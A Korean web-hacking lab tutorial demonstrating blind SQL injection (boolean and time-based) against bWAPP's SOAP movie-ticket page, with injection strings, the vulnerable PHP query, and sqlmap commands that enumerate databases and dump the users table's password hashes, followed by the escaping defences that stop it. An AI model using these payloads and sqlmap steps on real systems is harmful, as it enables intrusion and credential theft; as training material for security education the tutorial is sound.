정보보안(구버전)/ bWAPP 2019. 2. 8. 09:48

웹 해킹 bWAPP - 27. A1 - Injection - SQL Injection Blind(WS/SOAP)

 

 

본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다.

 

 

1. Injection

 

 - OWASP Top10 A1 - 악의적인 명령 삽입
 - 서버로 전송되는 요청 정보에 악의적인 명령을 삽입하여 불필요한 동작을 실시하거나, 서버/시스템/DB 중요 정보를

   획득할 수 있는 취약점이다.
 - Ex) HTML 인젝션, SQL 인젝션, PHP 인젝션, XML 인젝션

 

 

 

2. SOAP

 

 - SOAP : Simple Object Access Protocol

 - XML, HTTP, HTTPs 등을 기반으로 하여 다른 시스템에 있는 데이터 및 서비스를 호출하기 위한 프로토콜 


 

 

3. Injection - SQL Injection Blind(WS/SOAP)

 

 - 이 시나리오는 Query 결과를 참/거짓으로 출력하는 페이지를 이용하여 데이터베이스 내용을 추측하는 내용이다.

 - 실습 진행시 영화를 검색했을때, 예매 가능한 티켓 개수(참) 및 유무(거짓) 메세지를 통해서 공격해야 한다.

 

 

Ex1) Injection - SQL Injection Blind(WS/SOAP) 이해

 

 

보안 레벨 선택 및 시나리오 선택

 

 

27-0. SQL 인젝션 추가-1.txt

 '(작은 따옴표)를 입력하여 취약점이 있는지 확인 실시 -> 티켓 개수 파악 X

 

 

 

27-1. SQL 인젝션 추가-2.txt

'or 1=1# 을 실시하여 참인 경우, 출력 메세지 확인 -> 티켓 개수 파악 X

 

 

 

27-2. SQL 인젝션 추가-3.txt

'or 1=2# 을 실시하여 거짓인 경우, 출력 메세지 확인 -> 티켓 개수 파악 X

 

 

 

bee@bee-box:/var/www/bWAPP$ vi ws_soap.php

~ 중간 생략 ~


function get_tickets_stock($title)
{

        include("connect.php");
        $sql = "SELECT tickets_stock FROM movies WHERE title = '" . $title . "'";
        $recordset = mysql_query($sql, $link);
        $row = mysql_fetch_array($recordset);
        mysql_close($link);
        return $row["tickets_stock"];

}
 

:q!

 

 

 

27-3. SQL 인젝션 추가-4.txt

'or '1'='1# 을 실시하여 참인 경우, 출력 메세지 확인 -> 티켓 개수 파악 O

 

 

 

27-4. SQL 인젝션 추가-5.txt

'or '1'='2# 을 실시하여 거짓인 경우, 출력 메세지 확인 -> 티켓 개수 파악 X

 

 

 

27-5. SQL 인젝션 추가-6.txt

'or '1'='1# Time-Based Blind 인젝션 실시 -> 참이기 때문에 지연 발생 O

 

 

 

27-6. SQL 인젝션 추가-7.txt

'or '1'='2# Time-Based Blind 인젝션 실시 -> 거짓이기 때문에 지연 발생 X

 

 

 

27-7. SQL 인젝션 추가-8.txt

Database 이름 길이를 알기 위한 SQL 인젝션 실시 -> 거짓이므로 티켓 개수 파악 X

 

 

 

27-8. SQL 인젝션 추가-9.txt

Database 이름 길이를 알기 위한 SQL 인젝션 실시 -> 참이므로 티켓 개수 파악 O

 

 

 

 

Ex2) SQLmap을 이용한 공격 실시 I

 

 - 인젝션 유형 : SQL Injection Blind(WS/SOAP)

 - 페이지 주소 : http://192.168.20.205/bWAPP/sqli_5.php?title=G.I.+Joe%3A+Retaliation&action=go

 

27-9. sqlmap 공격-1.txt

 

 

root@kali:~# sqlmap -u "http://192.168.20.205/bWAPP/sqli_5.php?title=G.I.+Joe%3A+Retaliation&action=go" --cookie="security_level=0;PHPSESSID=fc835064d3ec1f5b06251a6fd6a1b67b" -p title --threads=5 --level=5 --risk=3 --batch --dbs

 

~ 중간 생략 ~

 

available databases [5]:
[*] bWAPP
[*] cisco
[*] drupageddon
[*] information_schema
[*] mysql

 

[14:10:37] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.20.205'

 

[*] shutting down at 14:10:37

 

 

 

 

Ex3) SQLmap을 이용한 공격 실시 II

 

 - 인젝션 유형 : SQL Injection Blind(WS/SOAP)

 - 페이지 주소 : http://192.168.20.205/bWAPP/sqli_5.php?title=G.I.+Joe%3A+Retaliation&action=go

 

27-10. sqlmap 공격-2.txt

 

 

root@kali:~# sqlmap -u "http://192.168.20.205/bWAPP/sqli_5.php?title=G.I.+Joe%3A+Retaliation&action=go" --cookie="security_level=0;PHPSESSID=fc835064d3ec1f5b06251a6fd6a1b67b" -p title --threads=5 --level=5 --risk=3 --batch -D bWAPP --tables

 

~ 중간 생략 ~

 

Database: bWAPP
[5 tables]
+----------+
| blog     |
| heroes   |
| movies   |
| users    |
| visitors |
+----------+

 

[14:29:33] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.20.205'

 

[*] shutting down at 14:29:33

 

 

 

 

Ex4) SQLmap을 이용한 공격 실시 III

 

 - 인젝션 유형 : SQL Injection Blind(WS/SOAP)

 - 페이지 주소 : http://192.168.20.205/bWAPP/sqli_5.php?title=G.I.+Joe%3A+Retaliation&action=go

 

27-11. sqlmap 공격-3.txt

 

 

root@kali:~# sqlmap -u "http://192.168.20.205/bWAPP/sqli_5.php?title=G.I.+Joe%3A+Retaliation&action=go" --cookie="security_level=0;PHPSESSID=fc835064d3ec1f5b06251a6fd6a1b67b" -p title --threads=5 --level=5 --risk=3 --batch -D bWAPP -T users --columns

 

~ 중간 생략 ~

 

Database: bWAPP
Table: users
[9 columns]
+-----------------+--------------+
| Column          | Type         |
+-----------------+--------------+
| activated       | tinyint(1)   |
| activation_code | varchar(100) |
| admin           | tinyint(1)   |
| email           | varchar(100) |
| id              | int(10)      |
| login           | varchar(100) |
| password        | varchar(100) |
| reset_code      | varchar(100) |
| secret          | varchar(100) |
+-----------------+--------------+

 

[14:42:35] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.20.205'

 

[*] shutting down at 14:42:35

 

 

 

 

Ex5) SQLmap을 이용한 공격 실시 IV

 

 - 인젝션 유형 : SQL Injection Blind(WS/SOAP)

 - 페이지 주소 : http://192.168.20.205/bWAPP/sqli_5.php?title=G.I.+Joe%3A+Retaliation&action=go

 

27-12. sqlmap 공격-4.txt

 

 

root@kali:~# sqlmap -u "http://192.168.20.205/bWAPP/sqli_5.php?title=G.I.+Joe%3A+Retaliation&action=go" --cookie="security_level=0;PHPSESSID=fc835064d3ec1f5b06251a6fd6a1b67b" -p title --threads=5 --level=5 --risk=3 --batch -D bWAPP -T users -C id,login,password --dump

 

~ 중간 생략 ~

 

Database: bWAPP                                                               
Table: users
[2 entries]
+----+--------+------------------------------------------------+
| id | login  | password                                       |
+----+--------+------------------------------------------------+
| 1  | A.I.M. | 6885858486f31043e5839c735d99457f045affd0 (bug) |
| 2  | bee    | 6885858486f31043e5839c735d99457f045affd0 (bug) |
+----+--------+------------------------------------------------+

 

[14:53:28] [INFO] table 'bWAPP.users' dumped to CSV file '/root/.sqlmap/output/192.168.20.205/dump/bWAPP/users.csv'
[14:53:28] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.20.205'

 

[*] shutting down at 14:53:28

 

 

 

 

Ex6) 'sqli_5.php' & 'functions_external.php' 파일 내용 확인

bee@bee-box:/var/www/bWAPP$ ls -l sqli_5.php
-rw-rw-r-- 1 root www-data 6458 2014-11-02 23:52 sqli_5.php

bee@bee-box:/var/www/bWAPP$ vi sqli_5.php

~ 중간 생략 ~

 

include("functions_external.php");
include("connect.php");

 

function sqli($data)
{

    switch($_COOKIE["security_level"])
    {
        case "0" :
           
            $data = no_check($data);          
            break;
       
        case "1" :
           
            $data = sqli_check_1($data);
            break;
       
        case "2" :           
                      
            $data = sqli_check_2($data);           
            break;
       
        default :
           
            $data = no_check($data);           
            break;  

    }

    return $data;

}

 

:q!

 

 

bee@bee-box:/var/www/bWAPP$  gedit functions_external.php

~ 중간 생략 ~

 

function sqli_check_1($data)

{

  

    return addslashes($data);

            // 작은따옴표를 문자열로 이스케이프 실시

}

 

function sqli_check_2($data)

{

  

    return mysql_real_escape_string($data);

            // SQL 인젝션에서 사용하는 특수문자에 백슬래시를 붙여 입력값을 이스케이프 실시

               (NULL, \n, \r, \, ', ", ^Z)

}

 

function sqli_check_3($link, $data)

{

  

    return mysqli_real_escape_string($link, $data);

   

}

 

function sqli_check_4($data)

{

 

    // Not bulletproof

   

    // Replaces a single quote (')

    $input = str_replace("'", "''", $data);

  

    return $input;

   


 

 

 

Ex7) 보안 레벨 'High' 변경

 

 

보안 레벨 및 시나리오 선택


 

 

27-13. SQL 인젝션 추가-10.txt

SQL 인젝션 실패

 

 

[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)

 

웹해킹 27. bWAPP Injection - SQL Injection Blind(WS&SOAP)   https://youtu.be/YkjXjsBTwPs

Posted by 김정우 강사(카카오톡 : kim10322)
,


Q